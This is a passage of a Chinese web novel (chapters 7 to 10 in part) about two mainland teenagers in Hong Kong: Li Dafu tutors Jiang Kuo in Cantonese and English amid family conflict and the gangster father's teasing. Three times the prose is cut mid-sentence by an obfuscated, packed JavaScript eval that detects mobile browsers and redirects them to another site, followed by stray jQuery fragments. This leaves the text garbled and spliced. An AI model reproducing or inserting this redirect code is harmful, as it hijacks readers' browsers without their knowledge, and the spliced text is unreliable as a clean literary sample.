“大哥,你跑那么快干啥?她又不会追上来。”黎大福不解问道。 “不堪入目!”江扩顿了几秒,又咬紧牙关添了一句,“不成体统!” 黎大福跟江扩对视几秒,终于忍不住从鼻腔里窜出一声噗嗤,接着蹲到地上一通傻笑。江扩白了地上的黎大福一眼,却意外发现黎大福笑出来的一个鼻涕泡,终于也忍不住了。 “为什么你笑也能笑出鼻涕,哈哈哈哈哈......” 黎多财学完吉他回来,刚上楼梯就听见楼上的狂笑声,其中一人的声音还是她弟。冲上去的时候只见两人一个双手撑地跪地上,一个张开四肢趴墙上。一条傻狗和一只傻壁虎。 “你俩笑啥呢?啊?”黎多财按紧腰间的钻石黑皮包噌噌冲上去,“是不是有病?啊?是不是?” 楼上的笑声戛然而止,江扩被这女的尖锐嗓音吓得两爪在墙上抓了几道痕,两人不约而同朝黎多财那边看去。 “姐。”黎大福可怜巴巴叫了一声。 江扩本想叫人,转头又看见黎多财的款式夸张的小黑皮包,又倏地闭了嘴。这黑皮包非常之眼熟,他敢百分百断定就是当时街头女侠暴打男友头颅用的那个。 江扩突然觉得自己脑瓜有点麻,下意识朝黎大福那边靠去。 “你姐?”江扩问。 还没等黎大福回答,黎多财转眼就朝江扩那瞪去,“你|他|妈谁啊?” “我大哥。”黎大福说。 “我不是。”江扩白了黎大福一眼。 “你混哪的就敢当我弟大哥?啊?”黎多财骂骂咧咧把江扩连拖带拽下楼,“滚滚滚,快给我滚!” “姐,我的新朋友。”黎大福无奈道。 两人在黎多财的咒骂下进了顶楼的家门。黎多财一通发泄完,往嘴里叼了一根烟回了自己房间。 “你姐真是彪悍。”江扩对着黎多财消失的方向悄悄竖了个大拇指。 “她只是表面。”黎大福说罢,把江扩拉到一个小房间锁上门。 江扩站在房间中间的空地,仔细打量一下这个几乎只容得下一张床和一张书桌的狭窄房间。 “这是你房间?”江扩问。 黎大福从容坐到自己书桌旁,慢悠悠从书包里掏出几本作业。 “大哥,这儿没有其他椅子,你就坐床上吧,”黎大福拔出一支水笔,开始写作业,“这是我房间,很小吧。” “我以为你读那么好的贵族学校,家里应该很有钱。”江扩坐到黎大福身边说。 “我爸妈硬塞我进去的,”黎大福一声叹息,“我一点都不喜欢那个学校。” 江扩凝视着黎大福闷闷不乐的侧脸良久,蓦然发现自己和黎大福确实同病相怜。 自己在拍小学毕业照的前一天莫名其妙就被这个素未谋面的流氓父亲偷偷办好手续绑来香港,而养了江扩十几年的爷爷奶奶碰上这一幕居然连吱一声都不敢,就这样眼睁睁让江扩被他亲生父亲塞上面包车扬长而去。 来香港生活,不是他本意。他是被逼的,而且没有任何反抗机会。 而黎大福也是被迫跟父母千里迢迢来到香港生活,还上了自己不喜欢的学校。这小夯货好像也一直在被家人逼迫做自己不喜欢的事啊。 黎大福没有注意到江扩的眼神,此刻他已经渐入佳境,一只手托着下巴,一只手握紧水笔在作业本上认真挥洒。 江扩好奇凑过去看。黎大福的字迹清秀,让人一看就知道是好学生的那种。 写完一整页英文选择题,黎大福找出答案解析对了会儿答案,竟然一道错题都没有。 “你成绩很好吧?”江扩忍不住小声问。 “还不错啊,前五是有的。”黎大福说。 “你呢?”黎大福又问。 江扩没有回答。想起老师嘲讽的目光,班里同学大声嘲笑大陆仔看不懂英文,以及脖子上挂着的那些侮辱人格的牌子,江扩心里有点堵。 心中难为情好久,江扩才下定决心开口。 “你,能不能,教我点白话和英文?”江扩支支吾吾问道。 “不能。”黎大福吸了吸鼻子。 江扩在旁边愣了好久。他没想过黎大福会拒绝,也没想到他拒绝的那么果断。 “为什么?”江扩讷讷问道。 “你没有答应做我的朋友,我就不教你。”黎大福转过头对江扩俏皮地吐了吐舌头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16721987|189407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好......好可爱...... 说罢,黎大福头埋的更低了,作业做得愈发认真。江扩垂着头沉默许久,又抬眸偷偷看了黎大福一眼。 “也不是不行。”江扩小声嘀咕道。 江扩不清楚黎大福到底有没有听清楚。接下来的时间,房里一片沉寂,只听见黎大福执笔的沙沙声,和江扩偶尔移动身子的细微声音。 久之,江扩靠在墙边闭眼小憩,差点睡过去。 做完几门功课,天色渐渐晚了。 黎大福把几本功课掇齐放在一旁,扭头去看昏昏欲睡的江扩。 “大哥,你等晚点再回去吧,以防在路上碰上那几个古惑仔。”黎大福抬手轻轻叫醒江扩。 “啊?好。”江扩点头。 “那我们开始吧。”黎大福笑嘻嘻道。 “开始什么?”江扩怔了几秒。 “补习。” 黎大福说罢,从桌肚掏出几张白纸和各色的水笔。 “你现在中二?”黎大福问。 “嗯。” “那跟我一样,”黎大福点头,“上课有什么听不懂的?你现在可以问我。” “都听不懂。”江扩咬着牙说,“听不懂白话。” “那先别补功课了,我先教你白话跟繁体字吧。”黎大福说。 “好。”江扩坐的更近了。 黎大福思索片刻,拿了根黑色水笔在白纸上画了个标准清晰的思维导图。江扩吃惊地盯着纸上的思维导图,心中暗暗感慨黎大福还有这种牛逼技能。 “首先白话,就是粤语或者广东话,是中国南方一种特色方言,有很多种口音;香港这边的白话口音跟大陆也稍有不同,所以我主要教你港式白话;白话一共有九个音调,分别是......”黎大福在纸上列出一堆白话声调,为了方便江扩看懂,还专门切换成简体字。 好久没有看到简体字的江扩,对着那些清秀简体字顿时觉得亲切。 白话和繁体字教了一个多钟,黎大福又翻出中一时念的英语书,帮江扩解决最基础的音标问题。接着江扩翻出自己的功课,在黎大福的帮助下第一次靠自己磕磕绊绊写了几道选择题。 窗外的霓虹灯一盏盏亮了起来,江扩伸了个大懒腰,趴到窗前欣赏铜锣湾的繁华街景。 “我觉得你很适合当老师啊。”江扩转头对黎大福说。 “我不想当老师,”黎大福收起课本说,“我更想当个作家。” “为什么?”江扩轻轻踩了几下拖鞋。 “我脑里有很多故事,我得赶紧找机会把他们写下来,”黎大福很认真地说,“不然他们会在我脑里爆炸。” “什么故事?”江扩皱眉。 “很多,大部分都是两个男人之间的爱情故事。”黎大福一本正经回答道。 江扩起了一身鸡皮疙瘩,意味深长瞥了黎大福一眼。 八点多回去的时候,黎大福又把门口的江扩叫住了。 “大哥,你快过看。”黎大福朝门口的江扩招了招手。江扩狐疑,又换上拖鞋走回去。 黎大福拉开电视柜,从里面翻出几张碟片,一股脑塞给江扩。 “这什么?”江扩把封面里面的碟片翻出来看。 “香港电影,都是原汁原味的白话和繁体字幕,”黎大福合上柜门说,“你得每天抽时间看一看,然后要记得跟着台词多读几遍,认识一些口语表达,对你的白话有帮助。” “这么多碟片哪来的?”江扩问。 “偷我姐的,”黎大福压低声音,“嘘,我姐在房间,千万别让她知道。” “哦。”江扩收起碟片。 走的时候,黎大福送江扩到附近的叮叮车站。 “谢谢。”江扩垂着头说。 “谢啥呀,你是我大哥,应该的。”黎大福又是第N次朝江扩很俏皮地吐了吐舌头。 江扩凝视黎大福的脸良久,也是第N次打心里觉得黎大福可爱爆了。 8. 第 8 章 江扩走后不久,黎大福的父母才做完生意回家。晚上黎多财跑去酒吧找朋友,家里只剩下黎大福和一对父母吃晚饭。 跟爸妈在一起的时候,黎大福不习惯抬头,一直把脸埋得很深。鼻尖几乎要碰到碗里的饭粒。 “你是脖子折了吗?”黎雄拿筷子在黎大福脑瓜上狠狠一敲,“坐直!” 黎大福乖乖挺直腰板,又往嘴里扒了几口饭。 “刚刚你姐说家里来了个朋友?”母亲郭霞抬眸看了黎大福一眼。 “嗯。”黎大福说。 “学校的同学吗?哪儿的?家里做啥的?跑马地还是浅水湾有买房吗?”郭霞一连串问题打得黎大福措手不及。 “大陆人。”黎大福淡淡回答道。 “跟大陆人交朋友,我都不知道你咋想的,有什么用?”黎雄白了他一眼,“有时间不多去学校交点有钱朋友,天天跟什么不三不四的大陆仔玩干嘛呢?” “你就不是大陆人了?”黎大福不爽,一挥手把筷子扔到地上。 “你|他|妈造反了是不是?”黎雄一拍桌子吼道,“我当初就不该把你小子带过来,把你扔到东北自己一个人饿死!” “你以为我很想来啊?咱东北老家那儿起码还有个小院子,这边他妈的连个破阳台都没有!”黎大福咻地从椅子上跳起来,声音嘶吼像是要把好几年憋着的闷气一次性发泄完,“香港这鬼地方有什么好的?这里有谁看得起我们?你知道我在贵族学校是怎么过日子的吗?啊?!” “你这混账玩意儿反了是不?”黎雄一脚踢开椅子就要过来暴揍一顿,又被郭霞拦下。 “大福啊,咱过阵子就不在这受苦了,”郭霞说,“赚够钱一家子搬到美国去,多好。” “什么搬到美国去?”黎大福一头雾水看着郭霞。 “等我做生意发了横财,把你们都带到美国去享福,”黎雄又恢复那副自高自大的嘴脸,“我接下来这几单生意,应该能赚不少钱,到时候钱够了搬到美国去,看谁还敢瞧不起咱们。” “草,做香港佬不够,你们还要做美国佬是吧?”黎大福心里冒出一股火,愣是被气笑了。 “你|他|妈再给我说一遍试试!”黎雄暴怒,一只手直接把饭桌掀翻。桌上各种锅碗瓢盆咣咣乱响倾倒在地,该碎的碎了,该溅的也溅了一地。四周一片狼藉。 旁边的郭霞发出一声响彻云霄的尖叫。 “我真|操|了,你们做不做美国佬关我屁事儿,”黎大福拍干净衣服上的饭菜,一边骂骂咧咧走回房间,“到时候你们做了美国佬,别特么把我算上,老子不稀罕,老子就要留在香港。” 拉上房门后,黎大福还能听见外面黎雄和郭霞两人一唱一和的咒骂声,内容无非是骂儿子今天吃了豹子胆造反了诸如此类。 听厌了那些污言秽语,黎大福走到窗前一下把窗户开到最大。外边一阵清风连挟着街上的汽车尾气一起透进来。 今天真特么爽啊。 江扩坐着一辆叮叮车,终于到了江广荣的老巢附近。在楼下吃了晚餐后上了楼。 几个跟屁虫正靠在沙发抽烟,整个老巢乌烟瘴气。江广荣站在外边的走廊对着电话大声谈生意,丝毫没有丢了儿子的慌张。 “江广荣。”江扩淡淡瞥了他爸一眼。 “你又去哪了?”江广荣挂了电话问。 “要你管。”江扩冷哼一声进了房间。 晚上那几个跟屁虫回家后,江扩拿出白话笔记复习,又随便掏了块光碟出来看。拿的时候江扩忘了看那块光碟的电影名字。 走出客厅的时候,江广荣正在聚精会神看娱乐新闻报纸。上面的标题大字每一个让人看了都汗颜,香港的夺命狗仔队真不是叫着玩的。 “家里有碟机吗?”江扩冷冷问道。 “哟,睇电影啊?这么有情|趣的?”江广荣抬起夹着烟的手指了指电视柜,“那边咯。” 江扩蹲到碟机旁,几番生疏操作后电视还是黑屏。最后江扩只能极不情愿地朝江广荣投去求助的目光。 江广荣叼着烟看过来,又假装若无其事转回去弹烟灰。 “爸,”江扩终于从喉咙憋出一个字,“帮个忙,谢谢。” 江广荣不紧不慢从沙发站起来,走到江扩身旁蹲下。 “你小子今天是第一次叫我爸。”江广荣嗤了一声。 江扩心中不爽,碍于有事求助他爸才没有开口呛他。江广荣在旁边一番熟悉操作,电视屏幕终于亮了,电影名字在电视屏幕中间缓缓浮现。 江广荣瞄了一眼电影名字,神色有点怪异。 “春光乍泄?这是什么电影?”江广荣皱眉问。 “没看过,我怎么知道。”江扩不耐烦道。 此时江扩还没意识到问题的严重性。江广荣见江扩不怎么搭理自己,自讨没趣回了房间拿衣服准备洗澡。 江扩拿了遥控器,往后缩了几脚,靠在沙发后背认真看起电影。 前面都是一个男人的独白,叽里呱啦不知道在讲什么。江扩眯眼看字幕,也很难看懂意思。 “黎耀辉,不如我哋由头来过。”电影终于出现另外一个男人的声音。 此刻江扩依旧没有意识到问题的严重性。 直到镜头出现一张床,以及上面两个......男影帝。 “......” 江扩脑里猛地劈了道雷,张大嘴巴看着这一幕,脸色涨红。他敢说从出生到现在没见过这么炸裂的镜头,更惊悚的是看者居然还有了正常人不该有的生理和心理的双重悸动。 此刻江广荣抱着一团衣服从厕所出来,正好撞见这诡异一幕—— 自己认回来没多久的儿子,坐在电视机前看新朋友借他的一张基佬电影碟片,还目不转睛对着屏幕脸红心跳。 “喂,你是基啊?”江广荣在厕所门口一声嘲讽彻底惊醒江扩。 江扩感觉这辈子的脸面都在他爸面前丢光了,迅速抓来遥控按了暂停键。画面依旧停留在缠绵那一幕。 “黎大福,你死定了。”江扩气急败坏扔下遥控。 “谁借给你的碟?”江广荣匆匆关上电视,那些不堪入目的电影画面终于消失。 “不是,”江扩舌头打结支支吾吾,“我,我不知道是这种电影,我真的不知道。” “你这个新朋友都深藏不露咯。”江广荣又点了个万宝路,阴阳怪气道。 江扩骂骂咧咧收起碟片,捂着一张大红脸回了房间。 关门不久,江扩像是想起什么,又硬着头皮重新开了房门,站到他爸面前。 “怎么?还想继续看啊?”江广荣贱兮兮露出两排满是烟渍的黄牙,“想看你就直说,用不着这样扭扭捏捏。” “不是!”江扩白了他爸一眼,“明天去老师办公室喝茶。” “犯事了?”江广荣悠哉悠哉弹了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16721988|189407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弹烟灰。 “嗯。”江扩垂着头。 “什么事?”江广荣问。 “没做功课和打架。”江扩咬牙切齿道。 “一来就犯这么多?”江广荣悠悠道,“不如别上学了,跟着你爸混吧,你肯定是这块料。” “江广荣我告诉你,你别把我当成跟你一样的人渣,”江扩语气冷冽道,“我发誓以后不会再被老师抓去体罚,也不会再被别人笑话是大陆仔。你给我等着。” “那我就等咯。”江广荣贱兮兮耸了耸肩。 隔天上午,江广荣第一次开车陪江扩去学校。江扩坐在后座满脸大写的不情愿。 进了学校,江广荣示|威似的伸手搂住江扩的肩膀。几番挣扎后江广荣死性不改,江扩只好咬着牙任由他爸搂着自己。 学校那些见过大哥荣本人的小喽啰,见到这对看似亲密的父子后跟见了鬼一样匆匆跑了。 “我上个厕所先。”江广荣松开江扩挥手进了卫生间。 江扩终于摆脱他爸的汗臭烟臭味,长舒一口气,又轻轻转了转麻|痹|的肩膀关节。 几个和江扩在天台打过架的小喽啰刚送走家长,正好朝这边走过来,对着江扩一通嘲讽。 “喂,大陆仔,你家里其他大陆仔呢?你老豆呢?你老母呢?”林栋阴阳怪气道。 江扩别过头不去看他们,眼不见为净。 “喂,大陆仔,你没听见吗?你老豆老母没脸见人啊?”林栋又嘲讽道。 江广荣叼着一根雪茄推开门从男厕走出来,“佢老豆系我。” 林栋瞬间安静下来,差点想除下眼镜揉揉自己的近视眼,看看自己是不是近视严重到出现幻觉。一番不可思议过后,林栋才彻底确认江扩是流氓大哥荣的儿子。 早知道江扩的父亲是大哥荣,林栋打死都不会去惹江扩。他甚至能屁颠屁颠跟在江扩后面喊一声大佬,对江扩嘘寒问暖无微不至,还能跪下去给江扩舔鞋底儿。 “你又系边个?啊?”另外几个不知情的人还在瞎起哄。 林栋倒抽一口冷气,反手就给了那几人一个大嘴巴子。那几人虽然不知道自己为什么莫名其妙挨了一耳光,却也不敢反抗,纷纷成了哑巴。 江广荣的突然出现无疑给了这几个中二病晚期天天发梦做黑|手|党老大的学生仔极其强烈的震慑。然而江扩只觉得不爽,非常不爽。 他不明白自己明明如此憎恨自己的流氓父亲,却窝囊到在被欺负的时候要拿他流氓父亲来当自己的护身符。这不是他想要的。 他想要的只有一件,那就是凭借自己的努力考上更好的大学,彻底摆脱江广荣的控制,重新获得自由。最后离开香港,回到老家那排满是烟火气的老厝,那里才是他真正的归宿。 江扩下意识又往远处移了点,以免自己沾上江广荣的流氓气息。 林栋拽着那几人灰溜溜跑了。江扩也带上自己的流氓父亲,去了趟教师办公室。 “江扩的家长是不是?”班主任扶了一下眼镜框,上下打量这个浑身痞里痞气的中年男人。 “是。”江广荣低头点了根万宝路。 “教师办公室不允许抽烟。”班主任皱眉。 “搞那么多死规矩干什么?”江广荣死性不改,徐徐吐出一口烟,“叫我来咩事?” 见江广荣那副在老师面前的嚣张嘴脸,江扩不忍直视,捂着脸走出办公室蹲在门口垂头丧气。 9. 第 9 章 “你的儿子江扩连续一个多星期不交功课,还在天台打架,”班主任板着张脸严肃道,“你们做家长的太失责,不关心孩子的学习成绩,也没有及时矫正孩子的不良道德观念。” “仲有呢?”江广荣追问道。 “什么然后呢?你是怎么当家长的?”班主任扔下那本学生资料,“这次叫你来只是想请你回家好好教育一下孩子,不要让他再犯这种错误,我们学校是不允许有害群之马的;如果再犯这样的错误直接开除。” “还有啊,最好给他找个补习班,连英文都不识听怎么上课啊?”密斯张也站过来凑热闹。 江广荣在办公室呆了半个小时,短短时间内抽了六七根烟,把整个教师办公室弄得乌烟瘴气。然而江广荣脸上的戾气太重,没有一个老师敢上前阻止。 江广荣离开办公室的时候,一眼就看到蹲在门边抱头一声不吭的江扩。 “走了。”江广荣说。 “我要上课。”江扩迈着死气沉沉的双腿回了课室。 父子俩离开后,几个老师匆匆拉开窗户透气,一边小声抱怨。 班主任又翻开江扩的学生资料,重新仔细一番。对着父亲姓名那一项,班主任总感觉这名字有点熟悉。 回忆片刻后,班主任才猛然想起上次看过的一则新闻报道,脸一下青了。 放学后,林栋几人围过来对江扩点头哈腰。 “江大哥,以前那些事是我不对,我给你道歉,”林栋装出一脸歉意,“以后我们和平相处,怎么样?” 江扩不想理那群看太多黑|手|党小说的中二病,沉着脸收拾完书包就要走人。 “那就是默认了,”林栋又从后面跟上来,“江大哥,你看我这么有诚意,您回家能不能跟大哥荣讲点好话,让我当一回......” “能滚吗?能吗?!”江扩那股火烧的更旺了,猛地揪过林栋的衣领对那张满是痘印的脸声嘶力竭,“老子不是大哥荣的儿子,你们谁爱当谁当去!” 林栋任由江扩揪着衣领,也不敢反抗。江扩发完火,推开林栋冲出校门。 黎大福倚在校门口,头发乱成鸡窝,那双清澈无辜的大眼睛一直在左顾右盼。校门口陆陆续续出来一堆陌生同学,里面没有江扩的身影。 见大哥迟迟没有出来,黎大福攥着书包的肩带有些泄气。 江扩冲出校门口,一眼就在人群中瞥见正等着自己的黎大福。跟黎大福目光相撞那瞬间,江扩的火气瞬间消散,取而代之的是一种从未有过的异样温柔。 自己这是怎么了? “大哥!”黎大福朝江扩兴奋挥手。 江扩凝视黎大福白嫩的脸片刻,轻轻叹了口气朝黎大福那边走去。 “等多久了?”江扩问。 “不久啊,大概十几分钟。”黎大福回答道。 “去拿车。”江扩悠悠道。 “哦。”黎大福跟在江扩身边,迈着轻松的双腿走着。 那边林栋跟几人也陆陆续续出了校门,正靠在街头栏杆上抽烟,见江扩朝这边走过来本想打声招呼顺便拍拍马屁。 江扩正好也看见几人,刚刚压下去的火又突然窜上来,冷冷瞪着那几个人。 林栋见江扩目光穷凶极恶,只好带着那几人灰溜溜跑了。 “大哥,你们班的?”黎大福对那几人消失的方向竖了个中指。 “一群中二病。”江扩暗骂一声,拉着黎大福拐进小巷。 车铺的老板还挺用心,把江扩那辆车拖进铺里,保管得好好的。 江扩道了谢,把自行车拖出来。骑到车座上之后,又扭头看着对远处某栋高楼发愣的黎大福。 “上车。”江扩说。 “哦。”黎大福坐到后座,一双手无处安放。 江扩还警惕黎大福会不会又把手放他腰上耍流氓,还好黎大福最后把手攥在后面的架子上。 他莫名有点失望。 “去哪?”江扩问。 “不知道。”黎大福摇摇头一脸茫然。 “等我放好车,去你家吧。”江扩说。 “不要。”黎大福低头抠了一下书包的肩带,“我爸妈在家,不去。” “你敢去我家?”江扩嗤了一声。 “敢啊,为什么不敢?”黎大福说,“我这名儿开过光,我不怕大哥荣。” “随便。”江扩往江广荣老巢的方向骑去。 半路快经过鱼蛋摊的时候,身后的黎大福肚子里传来一声闹饥荒的响铃。黎大福下意识去摸自己的肚子,才隐隐发现自己好像饿头晕了。 “你中午没吃?”江扩一边专注踩着单车,一边小声问。 “没有,没钱吃,”黎大福垂头, “让班里谁给偷了。” “你|他|妈就不会要回来吗?”江扩心里又窜出一股无名火。 “我又不知道是谁偷的,去告诉老师了他也不会理我。”黎大福闷闷回答道。 “你学校不都是有钱人吗?偷你那点钱干什么?”江扩发出一声冷笑。 “你错了,”黎大福悠悠道,“他们偷钱的目的不是为了钱,是为了欺负我这个班里唯一的大陆仔。” 到了鱼蛋摊附近,黎大福的肚子愈发饥饿。江扩只好停下车,跟黎大福一起去买鱼蛋。 “鱼蛋嘞!鱼蛋嘞!”鱼蛋摊老板大声吆喝道。 “一份鱼蛋。”江扩从兜里掏出几张皱巴巴的港币。 老板笑吟吟给江扩剪了一碗鱼蛋,又叉了几根签在鱼蛋上。 上了自行车后,黎大福坐在后座狼吞虎咽往嘴里塞了几颗鱼蛋,弄得整个腮帮子鼓起,活像条小金鱼。黎大福干脆学金鱼吐泡泡,一个人在车后座玩的像个智障。 江扩回头的时候,正好看到黎大福在学金鱼鼓腮帮子。忍了几秒没忍住,又趴在车头笑出眼泪。 “大哥,吃鱼蛋。”黎大福用签戳了一颗鱼蛋伸到江扩面前。 江扩一阵傻笑完,低头便看见嘴旁竹签插着的一颗小鱼丸。那鱼丸小巧玲珑,江扩想都没想就一口咬下,在嘴里细细嚼了一会儿。 直到黎大福缩回手,江扩才猛然想起这鱼丸是黎大福喂给他的。鼓鼓的脸霎时间红了。 接着江扩又想起黎大福借给他的同志电影,脸更红了。 “黎大福。”江扩咬着牙喊了一声。 “怎么了大哥?”黎大福问。 “你倒是说说你借给我的都是什么电影?”江扩手伸到后面,轻轻掐了一下黎大福的胳膊。 “嘶~”黎大福哀嚎一声,猛地缩回胳膊,“不就是香港的一些经典电影吗?” “经典电影?”江扩无奈道,“那你也不能全塞给我啊,你知道我看到什么了吗?” “看到什么?”黎大福一头雾水。 “看到,看到......”江扩词穷了。 “到底看到什么?”黎大福饶有兴趣地凑近过来,好巧不巧又碰到江扩的腰。 “闭嘴!”江扩黑着脸打掉腰上那只白嫩的手。 那种异样的温柔感又莫名袭来。为了跟这些毛骨悚然的欲望对抗,江扩死死咬着下唇,愣是坚持沉默了一路。 直到车停在江广荣的老巢楼下,江扩才暗暗松了一口气。 江广荣这时刚好跟几个跟屁虫去做生意,家里一个人都没有。江扩摸出钥匙开门,跟黎大福换上鞋进去。 黎大福以为自己的家已经够闷够难闻了,直到跟江扩进了客厅。一股难闻的烟味雪茄味啤酒味和灰尘铺天盖地朝江扩和黎大福两人扑过来,黎大福皱了皱眉,扭头一声干呕。 “江广荣不在家还好,他要是在,你自求多福吧,”江扩扇了扇周围的空气,“不过你这名都大富大贵咯,应该是不会死的。” “嘁。”黎大福偏过头。 进了江扩的房间,江扩走到窗前尽量把小窗的缝隙开到最大。一股清风从缝隙钻进来,空气终于流通一些,舒服多了。 两人坐在书桌旁边,各占一张椅子。 “笔记。”黎大福伸出一只手。 江扩从桌肚掏出一本早准备好的新笔记本放到桌上,“黎老师,开始吧。” 黎大福开始给江扩补昨天没补到的知识,从白话繁体字英文到国文历史各种学科一点不漏。 黎大福还充当江扩的口语陪练,用粤语切换不同场景语境跟江扩聊天。 江扩偶尔去瞄黎大福的脸,这小夯货就连专注的样子都那么可爱。而江扩又在那些异样的欲望产生之前及时掐掉了,重新把注意力放在笔记上。 补完各种知识,江扩试着拿出今天的功课练习。黎大福见状也拿出自己的练习册 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16721989|189407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,趴在江扩身边认真做功课。 做完一整页英文题,江扩找了答案解析,惊喜的发现自己终于有做对的题了。十道题对了一半,还是在自己竭力思考的情况下做出来的,绝不是靠蒙。 勉强做完一门功课,江扩放下笔伸了个大懒腰。 “大哥,我们去看电影。”黎大福也放下笔说。 江扩嘴角一抽搐,扭头用意味深长的眼神跟黎大福对视。 “你敢看?”江扩皱眉问道。 “我为什么不敢?”黎大福问,“大哥,你到底看到什么了?” “不,不能看。”江扩支支吾吾道。 “我偏要看。”黎大福笑嘻嘻站起身就要朝客厅电视柜走去。 江扩咬了咬牙跟上去,在电视柜上面翻到昨天那块电影,拆了封面拿出来。 “《春光乍泄》?这是什么电影,我没看过。”黎大福凑过去研究这块色调暧昧的电影光碟。 江扩没再废话,直接把碟片放进碟机里,凭自己的记忆折腾了一会,电视终于开了。 此刻江扩发现自己像是个流氓,把一个同龄男生骗到自己不见天日的老巢,还拉他一起欣赏基影片。不过转念一想,黎大福算是自愿的,这样一来应该不算骗。 自己安慰自己一番,江扩心中的负罪感终于减轻一点。 黎大福原先还算镇定,直到那张床以及两个男影帝在镜头中出现,他的脸色才霎时肉眼可见的涨红了。 紧接着抢来遥控按了暂停键。画面停留在缠绵那一幕。 “我,我我,”黎大福舌头打结,“我真不知,知道是这种电影。” “大哥荣说你深藏不露。”江扩邪魅一笑。 “什么意思?”黎大福没反应过来。 “他怀疑我这位新朋友是基。”江扩说。 “不是!”黎大福脸红成猴屁|股,抱住整个头部背对江扩。 江扩指着黎大福的后背一通狂笑。 笑了一半,门口传来的熟悉钥匙声把江扩吓了一跳。没等黎大福迟钝的脑子反应过来,江扩咻声在三十秒之内收拾好客厅所有东西,把黎大福半拖半拽弄进房间的衣柜里关上。 “大哥你干什么?”黎大福的声音在衣柜里闷闷响起。 “想活命就不要出声。”江扩按紧衣柜门,又趴到书桌上假装伏案复习。 这边江广荣刚进门就嗅到另一个人的气味——这是他当了多年流氓训练出来的敏锐直觉。 江广荣隐隐约约觉得不对劲,下一秒就朝江扩房间冲去。江扩房间的门锁已经被拆除,江广荣径直推开门闯进房间仔细观察一周。 江扩趴在书桌上,听见门口的响声一脸茫然朝这边看过来。 “你在干什么?”江广荣低头点了根万宝路。 “做功课,”江扩皱眉,“不要在我房间里抽烟。” 江广荣徐徐呼出一口烟,眯眼看着江扩,“这房里有第二个人。” 江扩顿时觉得不妙,心猛地一沉。慌神片刻又强制冷静下来。 “幻觉,该医了。”江扩悠悠回答道。 “是吗?”江广荣的眼睛眯成一条缝。 “拜托出去,谢谢。”江扩暗自摸了一把汗。 江广荣叼着根万宝路,开始在江扩的房里转悠。 “让我猜猜是在哪里。”江广荣一脸坏笑。 江扩的额头冒出点点冷汗,手中的笔也被掌心的汗水浸湿。 江广荣晃悠一圈,最后在衣柜面前停下。 “我猜那个人在这里。”江广荣露出两排满是烟渍的大黄牙,指着衣柜诡异一笑。 “没有!”江扩扔下笔,一个箭步冲过来挡住柜门,“他还是个孩子!” 江广荣揪住江扩的衣领,毫不留情地推开,接着在江扩惊恐的目光下拉开柜门。黑漆漆的衣柜里蹲着一个少年,头发乱成鸡窝,身上的校服正装污渍斑斑,脸上七横八竖的泪痕像是刚遭到什么非人的虐待。 “大哥,里面好黑,我好害怕。”黎大福哽咽道。 江广荣叼着的万宝路掉了一截烟灰,愣在原地跟衣柜这个神秘少年对瞪良久。 “这个人是......”江扩干笑一声。 没等江扩介绍完,江广荣转过身用大彻大悟眼神对江扩说:“哦!金屋藏娇啊。” 10. 第 10 章 “哪里哪里。”江扩又是几声干笑。 江广荣沉默几秒,突然伸手往裤袋里掏东西。 “别杀他!”江扩用警惕的目光盯着江广荣的口袋,又过去伸手把黎大福挡在身后,“他是我在香港唯一的朋友,别杀他!” 江广荣掏了半天,最后只是拿了把打火机出来,把自己不小心弄熄的烟重新点燃。 “我说我要杀他了?”江广荣挥挥手出了房间,“电影别看太多了,我从来不会随随便便杀一个人。” 江广荣离开房间不久,江扩悬着的心终于放下。回头的时候,见黎大福还蹲在衣柜里哭哭啼啼。 “你别哭了!死不了!”江扩咬着牙把黎大福揪出来。 “大哥,我好感动,”黎大福吸了吸鼻子,“你把我当成在香港唯一的朋友,我真的好感动!” 江扩愣了一会,从旁边抽了几张纸巾给黎大福擦眼泪。 “继续吧,黎老师。”江扩拉出椅子坐在书桌旁边。 黎大福吸了吸鼻子,又坐到江扩旁边。 补了差不多又一个钟过去,黎大福收拾完东西离开了。 江广荣坐在沙发上抽雪茄。黎大福出来后,江广荣皱着眉紧紧盯着黎大福的背影,看的黎大福后背发冷。 黎大福走后不久,黑魔仙又带着自己的中二病女儿迟迟赶来。江扩心中一万个不情愿,最后还是板着脸坐到饭桌和他们共享晚餐。 全程江扩一声不吭,狼吞虎咽吃完一顿饭后擦擦嘴巴走人回了房间。 刚坐下不久,江收也闯进江扩的房间准备跟他吹牛一下自己的江字派。 “哥,你知道吗?他们都叫我老大,我是这附近有名的女大佬。”江收仰起头自豪说道。 “出去,别烦我。”江扩捂住自己的左耳,右手在纸上沙沙记笔记。 江收见江扩学习如此用功,忍不住凑过去看。 